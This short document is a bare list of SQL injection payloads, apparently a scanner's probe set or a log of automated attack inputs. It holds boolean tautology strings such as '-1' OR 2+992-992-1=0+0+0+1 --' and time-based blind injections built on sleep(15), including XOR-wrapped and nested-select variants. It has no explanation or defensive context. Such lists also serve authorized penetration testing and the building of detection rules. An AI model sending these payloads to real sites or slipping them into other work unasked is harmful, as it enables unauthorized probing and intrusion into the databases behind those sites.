1

-1 OR 2+623-623-1=0+0+0+1

-1' OR 2+992-992-1=0+0+0+1 --

-1' OR 2+987-987-1=0+0+0+1 or 'sLJUh6FF'='

-1" OR 2+42-42-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z